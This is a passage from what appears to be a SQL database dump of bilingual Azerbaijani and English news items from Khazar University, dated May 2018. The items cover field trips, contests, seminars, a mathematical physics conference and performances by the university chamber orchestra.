dağında qədim mağaralar, qayaüstü təsvirlər, ibtidai insanın ocaq və yaşayış yeri, landşaftın özünəməxsusluğu göstərildi, daha sonra isə xüsusi olaraq, yeni yaradılmış interaktiv muzeydə bələdçi tərəfindən dünya və Azərbaycanın petroqlifləri, onların öyrənilməsi və coğrafiyası, bölgənin qədim iqlimi və landşaftı, fauna və florası, ibtidai insanın fəaliyyəti və həyat tərzi haqqında geniş ekskursiya təşkil olundu.</p><p>Azərbaycanın arxeoloji inkişafı tarixi və maddi-mədəni irsinin öyrənilməsi üçün bu dərs çox əhəmiyyətli idi.</p>'),(5546,3193,'en','Lesson of the Subject “European Culture and Art” conducted in Gobustan','On May 8, 2018, one lesson of the subject “European Culture and Art” was conducted...','<p>On May 8, 2018, one lesson of the subject “European Culture and Art” was conducted in Gobustan State Historical and Artistic Reserve, one of the unique historical and cultural monuments of Azerbaijan and of the world. The first year students of the School of Humanities and Social Sciences were led by Assoc.Prof. Jabir Khalilov, Dean, Valida Karimova, Vice-dean, Elmar Mustafayev, Coordinator of Political Sciences and International Relations, and Gulshan Kangarli, Instructor of the Department.</p><p>The aim of the open lesson was to enlighten students about the material and cultural heritage of Azerbaijan and broaden their world view and theoretical knowledge. Students saw ancient caves, rock paintings, fireplaces and habitation of the primitive man, and the uniqueness of the landscape in Boyukdash mountain. Then students went on an excursion in a newly founded interactive museum led by a guide and got familiar with petroglyphs of Azerbaijan and of the world, the ancient climate and landscape of the region, the fauna and flora, and the activities and lifestyle of the primitive man.</p><p>This lesson was of great importance in terms of studying the history of the archaeological development of Azerbaijan and its material and cultural heritage.</p>'),(5547,3194,'en','\"Egg Drop\" Contest','School of Engineering and Applied Sciences hosts...','<p><img src=\"/files/letters/egg.jpg\" style=\"border:0px #000000;float:left;width:315px;height:443px;margin-right:10px;margin-bottom:7px;margin-left:7px\">School of Engineering and Applied Sciences hosts&nbsp;\"<strong><strong><a href=\"http://www.khazar.org/files/letters/EGG_drop_rules.pdf\">EGG DROP</a></strong></strong>\" Contest.</p><p>Open to all engineering students.</p><p><strong>AWARDS:</strong></p><p><strong></strong>– A team&nbsp;winning the&nbsp;1<sup>st</sup> Place will be awarded</p><p>–  All students will be given a&nbsp;certificate of&nbsp;participation</p><p><strong>Venue: </strong>Khazar University, Neftchilar Campus</p><p><strong>Date:</strong> May 25, 2018, 3:00 p.m</p><p>E-mail contest entry by <strong>May 22, 2018</strong>, to&nbsp;<a href=\"mailto:mkiyasatfar@khazar.org\">mkiyasatfar@khazar.org</a>  </p><p>Download the <strong><a href=\"http://www.khazar.org/files/letters/Entry_Form.docx\">entry&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/files/letters/Entry_Form.docx\">form</a></strong> for the registration.&nbsp;</p>'),(5548,3194,'az','\"Egg Drop\" müsabiqəsi','Mühəndislik və Tətbiqi Elmlər fakültəsi mühəndislik ixtisasının tələbələri...','<p><img src=\"/files/letters/egg.jpg\" style=\"border:0px #000000;float:left;width:315px;height:443px;margin-left:7px;margin-right:10px;margin-bottom:7px\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;mühəndislik ixtisasının tələbələri üçün \"<strong><a href=\"/files/letters/EGG_drop_rules.pdf\">EGG DROP</a></strong>\"&nbsp;müsabiqəsini elan edir.</p><p><strong>MÜKAFATLAR:</strong></p><p><strong></strong>–  Birinci yerin qalibi olmuş komanda&nbsp;mükafatlandırılacaq</p><p>–  Bütün iştirakçılara sertifikatlar təqdim olunacaq</p><p><strong>Ünvan:&nbsp;</strong>Xəzər Universiteti, Neftçilər korpusu</p><p><strong>Tarix:</strong>&nbsp;25&nbsp;May 2018-ci il, 15:00</p><p>Qeydiyyat formasını&nbsp;<strong>22&nbsp;</strong><strong style=\"font-weight:bold\">May</strong><strong>&nbsp;2018-ci il</strong><strong>&nbsp;</strong>tarixinə qədər&nbsp;<a href=\"mailto:mkiyasatfar@khazar.org\">mkiyasatfar@khazar.org</a>&nbsp;ünvanına göndərməyiniz xahiş olunur.<br></p><p>Qeydiyyat üçün formanı <a href=\"http://www.khazar.org/files/letters/Entry_Form.docx\" style=\"font-weight:bold\">bu linkdən</a>&nbsp;yükləyə bilərsiniz.</p>'),(5549,3195,'az','Xəzər Universitetində professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunmuş beynəlxalq konfrans işə başladı','2018-ci il mayın 21-də Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı...','<p>2018-ci il mayın 21-də Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı, Beynəlxalq Təşkilat Komitəsinin rəhbərliyi ilə universitetin Mərmər salonunda universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının (İsayev) 70 illik yubileyinə həsr olunmuş “Riyazi fizikanın operatorları, funksiyaları və sistemləri” (RFOFS) mövzusunda beynəlxalq konfrans işə başladı. Konfransın məqsədi riyazi fizika sahəsində yeni nəticələri və tədqiqat istiqamətlərini müzakirə etməkdir.</p><p>Konfransda Xəzər Universitetinin rəhbərliyi və əməkdaşları, Azərbaycan, Türkiyə, İran, Rusiya, Gürcüstan, Ukrayna, Qazaxıstan, Almaniya, Fransa, İspaniya, Səudiyyə Ərəbistanı Krallığı, Avstriya, ABŞ, İtaliya, İngiltərə, Birləşmiş Ərəb Əmirlikləri və İsveçdən olan riyazi fizika sahəsində 70-ə yaxın görkəmli alim, aparıcı mütəxəssis və gənc tədqiqatçılar iştirak edirlər.</p><p>Konfrans aşağıdakı mövzuları əhatə edir: Ümumi operatorlar və spektral nəzəriyyə; Riyazi fizikanın xüsusi törəməli tənliklərinin analizi; Diferensial operatorların spektral nəzəriyyəsi; Riyazi fizikanın məsələlərində bazislər, freimlər və aproksimantlar; Klassik və kvant inteqrallanan modellər; Sim və kvant sahə nəzəriyyəsi; Xüsusi funksiyalar; Səpilmə nəzəriyyəsi; Tərs məsələlər.</p><p>Konfransı giriş sözü ilə Xəzər Universitetinin rektoru Dr. Hassan Niknafs açaraq, iştirakçıları salamladı, tədbirin beynəlxalq əhəmiyyətindən danışdı və konfrans iştirakçıları adından professor Hamlet İsaxanlını 70 illik yubileyi münasibətilə təbrik etdi.</p><p>Professor Hamlet İsaxanlı geniş çıxışında riyazi fizika sahəsində dünyada əldə olunan yeni nəticələrin və tədqiqat istiqamətlərinin müzakirə edilməsini, sahənin aparıcı mütəxəssislərinin Bakıda, Xəzər Universitetində bir araya gəlməsini əlamətdar hadisə adlandırdı və buna görə iştirakçılara təşəkkürünü bidirdi, konfransa uğurlu iş arzuladı.</p><p>Sonra konfransın proqramına uyğun olaraq məruzələrin dinlənilməsinə başlanıldı.</p><p>Konfrans 4 gün ərzində 4 bölmədə işini davam etdirəcək.</p><p>Konfransın bağlanış mərasimi mayın 24-də keçiriləcək.</p>'),(5550,3196,'az','Tədqiqat metodlarına aid təlim keçiriləcək','2018-ci il mayın 17-si saat 12:00-da Xəzər Universitetində tədqiqata dəstək...','<p>2018-ci il mayın 17-si saat 12:00-da Xəzər Universitetində tədqiqata dəstək məqsədi ilə növbəti seminar/təlim keçiriləcək. Dəvət edilmiş məruzəçi fizika və riyaziyyat elmləri üzrə fəlsəfə doktoru İsmayıl Qafarov “<em>Elmi tədqiqatlar və məlumatların təhlili sahəsində effektiv statistik metodlar</em>” mövzusunda praktiki təlim (workshop) keçirəcək. Dr. İsmayıl Qafarov Azərbaycan Tibb Universitetinin Tibbi fizika və informatika kafedrasının baş müəllimidir.</p><p>Seminar Xəzər Universitetində “Neftçilər” kampusunun Azercell otağında (otaq 314) keçiriləcək.</p><p>Hər kəs dəvətlidir. Ph.D. və magistr tələbələrin seminarda iştirakı ciddi şəkildə təşviq olunur.</p>'),(5551,3196,'en','Workshop on Research Methods to be held','On May 17, 2018, at 12:00 p.m., the next routine workshop will be conducted...','<p>On May 17, 2018, at 12:00 p.m., the next routine workshop will be conducted to support research. Dr. Ismayil Gafarov, Ph.D. in Physics and Mathematics, will run a workshop on “<em>Effective Statistical Tools in Research and Data Analysis</em>”. He is a senior instructor at the Department of Medical Physics and Informatics of Azerbaijan Medical University.</p><p>The workshop will take place at the Neftchiler Campus (Azercell Room 314) of Khazar University.</p><p>Everyone is welcome to attend. Ph.D. and Master students are strongly encouraged to participate in the seminar.</p>'),(5552,3197,'az','“İnnovasiya və liderlik” mövzusunda seminar olacaq','2018-ci il mayın 15-i saat 14:00-da Xəzər Universiteti İqtisadiyyat və menecment...','<p>2018-ci il mayın 15-i saat 14:00-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin təşkilatçılığı ilə şəhər mərkəzindəki kampusda (Bəşir Səfəroğlu, küç. 122) “<em>İnnovasiya və liderlik</em>” mövzusunda seminar keçiriləcək. Seminarı keçirmək üçün “Rocheston” MMC şirkətinin (Nyu York) prezidenti və baş icraçı direktoru cənab Haja Mohideen dəvət edilmişdir. Seminar <em>biznes innovasiyası, düşüncənin dizaynı, nəticəni dəyişəcək ideyalar, yeni yaradılmış şirkətlər, ətrafda olan avadanlıqların internet ilə birinə qoşulması (Internet of things), əqli mülkiyyət hüquqları</em> və <em>patentlər </em>kimi mövzuları əhatə edəcək.</p><p>Maraqlananlar bu e-mail (<a href=\"mailto:bbaysal@khazar.org\">bbaysal@khazar.org</a>) vasitəsilə İqtisadiyyat və menecment departamentinin koordinatoru Dr Bahadır Baysal ilə əlaqə saxlaya bilərlər.</p>'),(5553,3197,'en','Seminar on Innovation and Leadership to be held','Seminar on Innovation and Leadership will be conducted at Beshir Seferoglu...','<p>Seminar on <em>Innovation and Leadership</em> will be conducted at Beshir Seferoglu Campus (122 Beshir Seferoglu St) of Khazar University on 15 May, 2018, at 14:00. To deliver a seminar, Mr.Haja Mohideen, President &amp; CEO of Rocheston LLC (New York) has been invited to Khazar University. The seminar will cover topics such as <em>Business Innovation, Design Thinking, Game Changing Ideas, Startups, Internet of Things (IoT), IPR</em> and <em>Patents</em>.</p><p>Those interested are requested to get registered by keeping in touch with Dr. Bahadir Baysal, Coordinator of Economics and Management Department, by sending email to&nbsp;<a href=\"mailto:bbaysal@khazar.org\">bbaysal@khazar.org</a>.</p>'),(5554,3198,'az','Həvəskar və peşəkar gənclər arasında rəsm müsabiqəsi olacaq','2018-ci il mayın 18-dən 25-dək Xəzər Universiteti THE SAME komandası...','<p>2018-ci il mayın 18-dən 25-dək Xəzər Universiteti THE SAME komandası və Dizayn departamentinin təşkilatçılğı ilə “Sənin baxışın” adlı rəsm müsabiqəsi keçirilir. Müsabiqədə iştirak etmək istəyənlər irqçilik, irqçilyə səssiz qalma, irqçi onlayn nifrət mesajları və s. mövzularda işlənmiş əsərlərlərini qeyd olunan tarixdə Xəzər Universitetinin “Neftçilər” kampusuna (Məhsəti küç. 41) təhvil verməlidirlər.</p><p>Əsərlər mayın son həftəsində Xətai Sənət Mərkəzində böyük konsert tədbiri ilə nümayiş olunacaq və seçilən əsərlər mükafatlandırılacaq.</p><p>Əlavə məlumat üçün bu telefonla əlaqə saxlamaq olar: (055) 327-54-47.</p>'),(5555,3198,'en','Drawing contest among amateur and professional youth','On May 18-25, 2018, on an organizational support of THE SAME team...','<p>On May 18-25, 2018, a drawing contest entitled “Your view” will be held  on an organizational support of THE SAME team and the Department of Design. Those who intend to participate in the competition are supposed to submit their drawings dedicated to racism, negligence on racism, racist online hate messages, etc. to “Neftchiler” campus (41 Mehseti St), Khazar University.</p><p>The drawings will be demonstrated in a concert program in Khatai Art Center and selected drawings will be awarded.</p><p>A contact for further information: (055) 327-54-47</p>'),(5556,3199,'az','Karyera Mərkəzinin məlumat sessiyası','2018-ci il mayın 8-i və 10-da Xəzər Universiteti Karyera Mərkəzinin məlumat sessiyası...','<p>2018-ci il mayın 8-i və 10-da Xəzər Universiteti Karyera Mərkəzinin məlumat sessiyası keçirildi. Karyera Mərkəzinin könüllüləri Karyera Sərgisinə hazırlıq prosesi və mərkəzin fəaliyyəti barədə yerli və xarici tələbələrə məlumat verdilər.</p><p>Tələbələr təlim prosesindən keçmək üçün qeydiyyatdan keçdilər, mərkəzin tədbirlər cədvəli ilə də yaxından tanış oldular.</p>'),(5557,3199,'en','Information session by Career Center','On May 8 and 10, 2018, Career Center of Khazar University held an information session...','<p>On May 8 and 10, 2018, Career Center of Khazar University held an information session. Volunteers of Career Center local and international students about services of Career Center and organization process for Career Exhibition.</p><p>Students were registered for training and became familiar with the events to be organized by the center.</p>'),(5558,3200,'az','Psixologiya departamentinin əməkdaşı Türkiyədə oldu','2018-ci il mayın 5-dən 7-dək Xəzər Universitetinin Psixologiya departamentinin...','<p>2018-ci il mayın 5-dən 7-dək Xəzər Universitetinin Psixologiya departamentinin müəllimi Nilufər Əlizadə Türkiyənin İstanbul şəhərində “Yeşil Işık Eğitim ve Psikolojik Danışmanlık” və “PAREM Psikoloji, Analiz ve Rehberlik” mərkəzlərində oldu. “Uşaqlarda davranış problemləri və həll yolları” adlı təhsil proqramına qatılan Nilufər Əlizadə daha sonra “Proyektiv testlərin tətbiqi və tədrisi” adlı seminarı uğurla başa vuraraq tətbiqetmə və tədris sertifikatları ilə təltif olundu.</p><p>Qeyd edək ki, tədris proqramlarından sonra mərkəzdə fəaliyyət göstərən peşəkar psixoloqlar ilə Xəzər Universitetinin Psixologiya departamentinin gələcək işləri və əməkdaşlıqlar haqqında müzakirələr oldu.</p>'),(5559,3200,'en','Associate of the Department of Psychology visits Turkey','On May 5-7, 2018, Nilufar Alizadeh, an associate of the Department of Psychology...','<p>On May 5-7, 2018, Nilufar Alizadeh, an associate of the Department of Psychology of Khazar University, visited “Green Light Training and Psychological Counseling” Center and “PAREM Psychology, Analysis and Leadership” Center in Istanbul, Turkey. Nilufar Alizadeh joined the education program “Behavioral problems in children and solutions”. She also participated in a workshop “Application and teaching of projective tests” and was certified for successful completion.</p><p>After training programs, Nilufar Alizadeh discussed future collaborations between the Department of Psychology of Khazar University and the center with professional psychologists.</p>'),(5560,3195,'en','International conference dedicated to Professor Hamlet Isakhanli’s 70th anniversary has started at Khazar University','On May 21, 2018, the international conference \"Operators, Functions, and Systems of Mathematical...','<p>On May 21, 2018, the international conference \"Operators, Functions, and Systems of Mathematical Physics Conference\" (OFSMPC), dedicated to Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70<sup>th</sup> anniversary, has started in the Marble Hall of Khazar University on the organisational support of the Department of Mathematics of Khazar University and under the leadership of the International Organizing Committee. The main aim of the conference is to discuss recent developments and progress in Mathematical Physics.</p><p>Khazar University leadership and associates, about 70 outstanding scientists in Mathematical Physics, leading experts and young researchers from Azerbaijan, Turkey, Iran, Russia, Georgia, Ukraine, Kazakhstan, Germany, France, Spain, the Kingdom of Saudi Arabia, Austria, the USA, Italy, England, the UAE and Sweden are participating in the conference.</p><p>The conference covers the following subjects: General operators and spectral theory; Analysis of Partial Differential Equations of Mathematical Physics; Bases, Frames and Approximants in problems of Mathematical Physics; Spectral theory of differential operators; Classical and quantum integrable models; String and quantum field theory; Special functions; Scattering Theory; Inverse problems.</p>\r\n<p>Dr. Hassan Niknafs, the rector of Khazar University, welcomed the participants, spoke about the international significance of the event and congratulated Professor Hamlet Isakhanli on the occasion of the 70<sup>th</sup> jubilee on behalf of the conference participants.</p><p>Professor Hamlet Isakhanli, in his speech, called the discussion of new achievements and research directions in the field of Mathematical Physics and bringing together leading experts in the field in Baku, Khazar University as a remarkable event, thanked the participants and wished them success in the conference.</p><p>Then the experts started delivering their reports based on the conference agenda.</p><p>The conference will continue its work in 4 sections within 4 days.</p><p>The closing ceremony of the conference will be held on May 24, 2018.</p>'),(5561,3202,'az','INTERNATIONAL','',''),(5562,3202,'en','INTERNATIONAL','',''),(5568,3205,'en','Prof. Hamlet Isakhanli’s 70th anniversary celebrated at Istanbul Aydın University','On May 7, 2018, a literary and artistic evening entitled “Works by Hamlet Isakhanli” dedicated...','<p>On May 7, 2018, a literary and artistic evening entitled “<em>Works by Hamlet Isakhanli</em>” dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70th anniversary was held at Istanbul Aydın University, in Istanbul city of Turkey, on an organizational support of EURAS, Istanbul Aydın University and Khazar University. Azer Zeynalov, Brilliant Dadashova, Gulyanag Mammadova - People\'s Artists; Sabina Verdiyeva, Gulshan Ibadova, and Atesh Garayev - Honored Artists, sang the songs composed to lyrics by Hamlet Isakhanli. The audience also welcomed the literary and artistic program organized by Elshad Rzayev, Arzu Omarova, Madina Karahan and Afag Gambarova - teachers of “Dunya” school.</p><p>The audience appreciated new songs by Jahangir Guluyev, a saz player, which are composed to the lyrics by Hamlet Isakhanli. Chamber Orchestra, led by Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, also performed a concert program. Prof. Orhun Janpolat, Vice-dean of Istanbul Aydın University, invited Hamlet Isakhanli to the stage. He congratulated Hamlet Isakhanli on behalf of EURAS and Istanbul Aydın University and presented gifts to him. At the end of the ceremony, Hamlet Isakhanli expressed his gratitude to the guests and organizers, and recited his own poems. In the evening, a banquet was organized by Khazar University for the guests and participants. Scientists of Koç University, Istanbul Aydın University, Istanbul Yıldız Technical University, Kahramanmaraş Sütçüimam University, Istanbul University, and Marmara University participated in the reception, and congratulated and praised Hamlet Isakhanli.</p><p>Delegation participating in jubilee ceremony in Istanbul Aydın University were supposed to fly back to Baku via Ataturk Airport. However, due to some unknown reasons the flight was cancelled for some time. It was 10 p.m and everybody was tired. It was decided to demonstrate <a href=\"https://cloud.mail.ru/stock/hBQthrs7BWkoCHV78bbzgJMN\">flash mob</a> together with the members of Chamber Orchestra. “Arazbarı” by famous composer Uzeyir Hajibeyov performed by some members of Chamber Orchestra surrounded the airport. Passengers and airport staff applauded the flash mob loudly. The video of the flash mob went viral on the social network.</p>'),(5569,3206,'az','“Uşaqlarda davranış pozuntuları və həll yolları” adlı kurs açılır','Xəzər Universiteti Psixoloji Xidmət Mərkəzi “Uşaqlarda davnanış pozuntuları və həll yolları” kursu...','<p>Xəzər Universiteti Psixoloji Xidmət Mərkəzi “<em><strong>Uşaqlarda davranış pozuntuları və həll yolları</strong></em>” kursu elan edir. Kurs bir ay davam edəcək və kursun sonunda iştirakçılara sertifikat təqdim olunacaq. Kursda uşaqlarda müşahidə olunan davranış pozuntularının yaranma səbəbləri, həll yolları, məktəb müəllimlərinin və valideynlərin düzgün yanaşma tərzləri və s. öyrədiləcək.</p><p>Kurslar interaktiv, iştirakçıyönümlü olacaq.</p><p>Kursu İngiltərənin Koventri Universitetinin məzunu psixoloq Nilufər Əlizadə aparacaq.</p><p>Əlavə məlumat almaq üçün:</p><p><strong>Telefon</strong>: (050) 686-88-14; <strong>E-mail</strong>: <a href=\"mailto:nalizada@khazar.org\">nalizada@khazar.org</a></p>'),(5570,3206,'en','A training course on “Child Behavioral Disorders & Solutions”','Psychological Service Centre of Khazar University announces a training...','<p>Psychological Service Centre of Khazar University announces a training course on “<em><strong>Child behavioral disorders &amp; solutions</strong></em>”. The course will last for a month and the participants will be certified. The course program includes causes of childhood behavioral disorders, their solutions, relevant approaches to children with behavioral disorders, etc.</p><p>The course will be interactive and participant-oriented.</p><p>The trainer is Nilufer Alizadeh, a graduate of Coventry University, UK.&nbsp;</p><p>Contacts for further information:</p><p><strong>Phone</strong>:&nbsp;(050) 686-88-14; <strong>E-mail</strong>: <a href=\"mailto:nalizada@khazar.org\">nalizada@khazar.org</a>  </p>'),(5571,3207,'az','Şirvan Milli Parkına ekskursiya təşkil olundu','2018-ci il mayın 13-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin...','<p>2018-ci il mayın 13-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə yerşünaslıq fənnindən Şirvan Milli Parkına ekskursiya təşkil olundu.</p><p>Çöl tədqiqatı zamanı tələbələr öncə ceyranların məskəni olan Şirvan Milli Parkında ceyranlar haqqında məlumat topladıqdan sonra Bəndovan dağı – palçıq vulkanı, dəniz sahili –&nbsp;Laquna və Flaminqo gölləri marşrutları ilə hərək etdilər. Palçıq vulkanı, Laquna və Flaminqo gölləri haqqında ərtaflı praktiki biliklər aldılar.</p>'),(5572,3207,'en','Excursion to Shirvan National Park','On May 13, 2018, on an organizational support of the Department of Geography and the Environment...','<p>On May 13, 2018, on an organizational support of the Department of Geography and the Environment, students went on an excursion to Shirvan National Park within the discipline of Physical Geography.</p><p>Within field research, students were informed about gazelles in Shirvan National Park, a dwelling of gazelles. Then students took a route through Bandovan mountain, a mud volcano, as well as the seaside –   Lake Laguna and Lake Flamingo. Students were also enlightened about the mud volcanoes and lakes.</p>'),(5573,3208,'az','Xəzər Universitetinin kamera orkestri FHN-in tədbirində','Mayın 11-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqının təşkilatçılığı...','<p>Mayın 11-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqının təşkilatçılığı ilə Ağdam rayon mədəniyyət evində ulu öndər Heydər Əliyevin anadan olmasının 95-ci ildönümünə həsr edilmiş “Ümummilli lider Heydər Əliyev və Dağlıq Qarabağ” mövzusunda konfrans keçirilib.</p><p>FHN işçilərinin həmkarlar ittifaqının sədri Mehman İsmayılov tədbiri açaraq ümummilli lider Heydər Əliyevin keçdiyi şərəfli və mənalı həyat yoluna tarixi-xronoloji nəzər salıb, dahi şəxsiyyətin Azərbaycana rəhbərlik etdiyi 34 illik dövrdə gördüyü işlərin əhəmiyyətindən danışıb.</p><p>Fövqəladə Hallar Nazirliyi Qarabağ Regional Mərkəzinin rəisi, polkovnik Mirəli Feyziyev, Ağdam Rayon İcra Hakimiyyətinin başçısı Raqub Məmmədov çıxışlarında Azərbaycan xalqının böyük oğlunun dövlətçiliyimizin möhkəmləndirilməsi, Qarabağın milli-mədəni sərvətlərinin mühafizəsi ilə bağlı həyata keçirdiyi tarixi tədbirlərdən söz açıb, Ermənistan-Azərbaycan, Dağlıq Qarabağ münaqişəsinin ədalətli həlli üçün göstərdiyi əvəzsiz xidmətlərdən söz açıblar.</p><p>Sonra tədbir konsert proqramı ilə davam edib. Konsert proqramında Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın bədii rəhbərliyi və gənc istedadlı musiqiçi Cavad Tağızadənin dirijorluğu, solistlər – Xəzər universitetinin müəllimi Məhsəti Cabbarova və Atəş Qarayevin iştirakı ilə universitetin Kamera orkestrinin ifasında Azərbaycan bəstəkarlarının əsərləri dinlənilib.</p>'),(5574,3208,'en','Khazar University Chamber Orchestra at the event of the Ministry of Emergency Situations','On May 11, a conference entitled “National Leader Heydar Aliyev and Nagorno-Karabakh” dedicated...','<p>On May 11, a conference entitled “National Leader Heydar Aliyev and Nagorno-Karabakh” dedicated to 95<sup>th</sup> jubilee of National Leader, Heydar Aliyev, was held in the center for culture of Aghdam district on an organizational support of trade union of Ministry of Emergency Situations (MES).</p><p>Mehman Ismayilov, Chair of the trade union of MES, opened the conference with a historical and chronological view on Heydar Aliyev’s honorable and meaningful life. He also emphasized the importance of contributions by Heydar Aliyev during his 34 years when he led Azerbaijan.</p><p>Colonel Mirali Feyziyev, Head of the Karabakh Regional Center of the Ministry of Emergency Situations, and Ragub Mammadov, Head of Aghdam District Executive Power, talked about how Heydar Aliyev strengthened statehood of Azerbaijan and did his best to reserve national and cultural wealth of Garabagh. Speakers also mentioned Heydar Aliyev’s indispensable service for resolutions of the Nagorno-Karabakh conflict.</p><p>The ceremony continued with a concert program. Khazar University Chamber Orchestra performed compositions by Azerbaijani composers led by Zulfiyya Sadigova, Honored Artist and Head of the Department of Music and Fine Arts of Khazar University. The Orchestra was conducted by Javad Taghizadeh, a young musician. The soloists were Mashati Jabbarova and Atesh Garayev.</p>'),(5575,3209,'az','Xəzər Universiteti Kamera Orkestri cəbhə bölgəsində','AzərTAc-ın verdiyi xəbərə görə Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqının...','<p>AzərTAc-ın verdiyi xəbərə görə Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqının təşkilatçılığı ilə Ağdam rayonunda ulu öndər Heydər Əliyevin anadan olmasının 95-ci ildönümünə həsr edilmiş “Ümummilli lider Heydər Əliyev və Dağlıq Qarabağ” adlı&nbsp;konfransda Xəzər Univerisitetinin professoru Zülfiyyə Sadıqovanın bədii rəhbərliyi ilə Xəzər Universiteti Kamera Orkestri Azərbaycan bəstəkarlarının əsərlərini səsləndirmişdir.</p>'),(5576,3209,'en','Khazar University Chamber Orchestra in the frontline','According to AZERTAC, on an organizational support of trade union of Ministry of Emergency Situations...','<p>According to AZERTAC, on an organizational support of trade union of Ministry of Emergency Situations, a conference entitled “Nationwide Leader Heydar Aliyev and Nagorno-Karabakh” dedicated to 95<sup>th</sup> jubilee of Nationwide Leader, Heydar Aliyev, was held in Aghdam district where Khazar University Chamber Orchestra performed compositions by famous Azerbaijani composers led by Prof. Zulfiyya Sadigova.</p>'),(5577,3210,'az','“Xəzər Universitetinin yaxşı təcrübəsi var”','2018-ci il mayın 11-də mektebgushesi.az saytı Azərbaycan təhsilinin hazırkı...','<p>2018-ci il mayın 11-də <strong><em>mektebgushesi.az</em></strong> saytı Azərbaycan təhsilinin hazırkı vəziyyəti ilə bağlı təhsil eksperti Əhməd Qəşəmoğlunun fikirlərinə yer ayırmışdır. Ə.Qəşəmoğlu Xəzər Universitetini Azərbaycan təhsili üçün yaxşı bir model kimi vurğulamışdır.</p><p>Materialı tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://mektebgushesi.az/2018/05/11/əhməd-qəsəmoglu-təhsil-modeli-hazirlamisam-orada-hər-sey-nəzərə-alinib/\">http://mektebgushesi.az/2018/05/11/əhməd-qəsəmoglu-təhsil-modeli-hazirlamisam-orada-hər-sey-nəzərə-alinib/</a>.</p>'),(5578,3210,'en','Khazar University has good experience','On May 11, 2018, mektebgushesi.az website posted views by Ahmad Gashamoghlu, education expert...','<p>On May 11, 2018, <strong><em>mektebgushesi.az</em></strong> website posted views by Ahmad Gashamoghlu, education expert, on the current state of the education in Azerbaijan. In his speech, Ahmad Gashamoghlu stressed Khazar University as an exemplary model for the education of Azerbaijan.</p><p>The material is available at:</p><p><a href=\"http://mektebgushesi.az/2018/05/11/əhməd-qəsəmoglu-təhsil-modeli-hazirlamisam-orada-hər-sey-nəzərə-alinib/\">http://mektebgushesi.az/2018/05/11/əhməd-qəsəmoglu-təhsil-modeli-hazirlamisam-orada-hər-sey-nəzərə-alinib/</a>  </p>'),(5579,3211,'az','Xəzər Universitetinin konfransı haqda məlumat beynəlxalq komissiyanın diqqətində','2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin keçirəcəyi 1-ci Beynəlxalq...','<p>2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin keçirəcəyi 1-ci Beynəlxalq “<em>Tək Sağlamlıq: Problemlər və Həllər</em>” konfransı haqda məlumat Tək Sağlamlıq Komissiyasının (<em>One Health Commission</em>) media xəbərlərində yayılmışdır.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws\">http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws</a>.</p>'),(5580,3211,'en','Information on Khazar University conference is in focus of the International Commission','1st International Conference on “One Health: Problems & Solutions” to be conducted by Khazar University...','<p>1<sup>st</sup> International Conference on “<em>One Health: Problems &amp; Solutions</em>” to be conducted by Khazar University on June 1-2, 2018 is on press release of the One Health Commission.</p><p>More information is available at:</p><p><a href=\"http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws\">http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws</a>.<br></p>'),(5582,3212,'en','1st annual Three Minute Thesis Presentation competition ','On December 14, 2018, Khazar University will be holding its 1st annual...','<p>On December 14, 2018, Khazar University will be holding its 1<sup>st</sup> annual Three Minute Thesis Presentation&nbsp;competition (3MTP) and invites all the Doctoral and Master students to present their research.</p><p>First time 3MTP competition was held at University of Queensland (Australia) in 2008 and now adopted by many Universities worldwide, which led to the development of an international competition. This competition will help students to enhance their scholarly communication for presenting their research to specialists and non-specialists audience while being fun and competitive. It has many benefits for students. It will enhance the following skills such as public speaking, research communication, help students build their network, contribute to their professional development and future career.</p><p>Khazar University Ph.D. &amp; Master Students Association will organize a series of workshops for students on 3MTP until the Annual 3MTP competition, which will be held on December 14, 2018.</p><p>Everyone is welcome. Further information can be obtained from Ph.D. &amp; Master Students Association.</p><p><a href=\"https://docs.google.com/forms/d/1yz24oQCpMucXXZ2fORV-ibTLj-WfkL9PIoc8s2UYP9c/viewform?edit_requested=true\">https://docs.google.com/forms/d/1yz24oQCpMucXXZ2fORV-ibTLj-WfkL9PIoc8s2UYP9c/viewform?edit_requested=true</a>.<br></p>'),(5583,3213,'az','“Təhsildə tədqiqatların aparılmasında bəzi praktiki məsələlər” adlı seminar olacaq','2018-ci il mayın 18-i saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura...','<p>2018-ci il mayın 18-i saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyi təhsil tədqiqatlarına dəstək məqsədilə növbəti seminar keçirəcək. Dəvət edilmiş məruzəçi ADA Universitetinin təhsil sahəsində tədqiqatçısı və müəllimi Dr.&nbsp;Ülviyyə Mikayılova “Təhsildə tədqiqatların aparılmasında bəzi praktiki 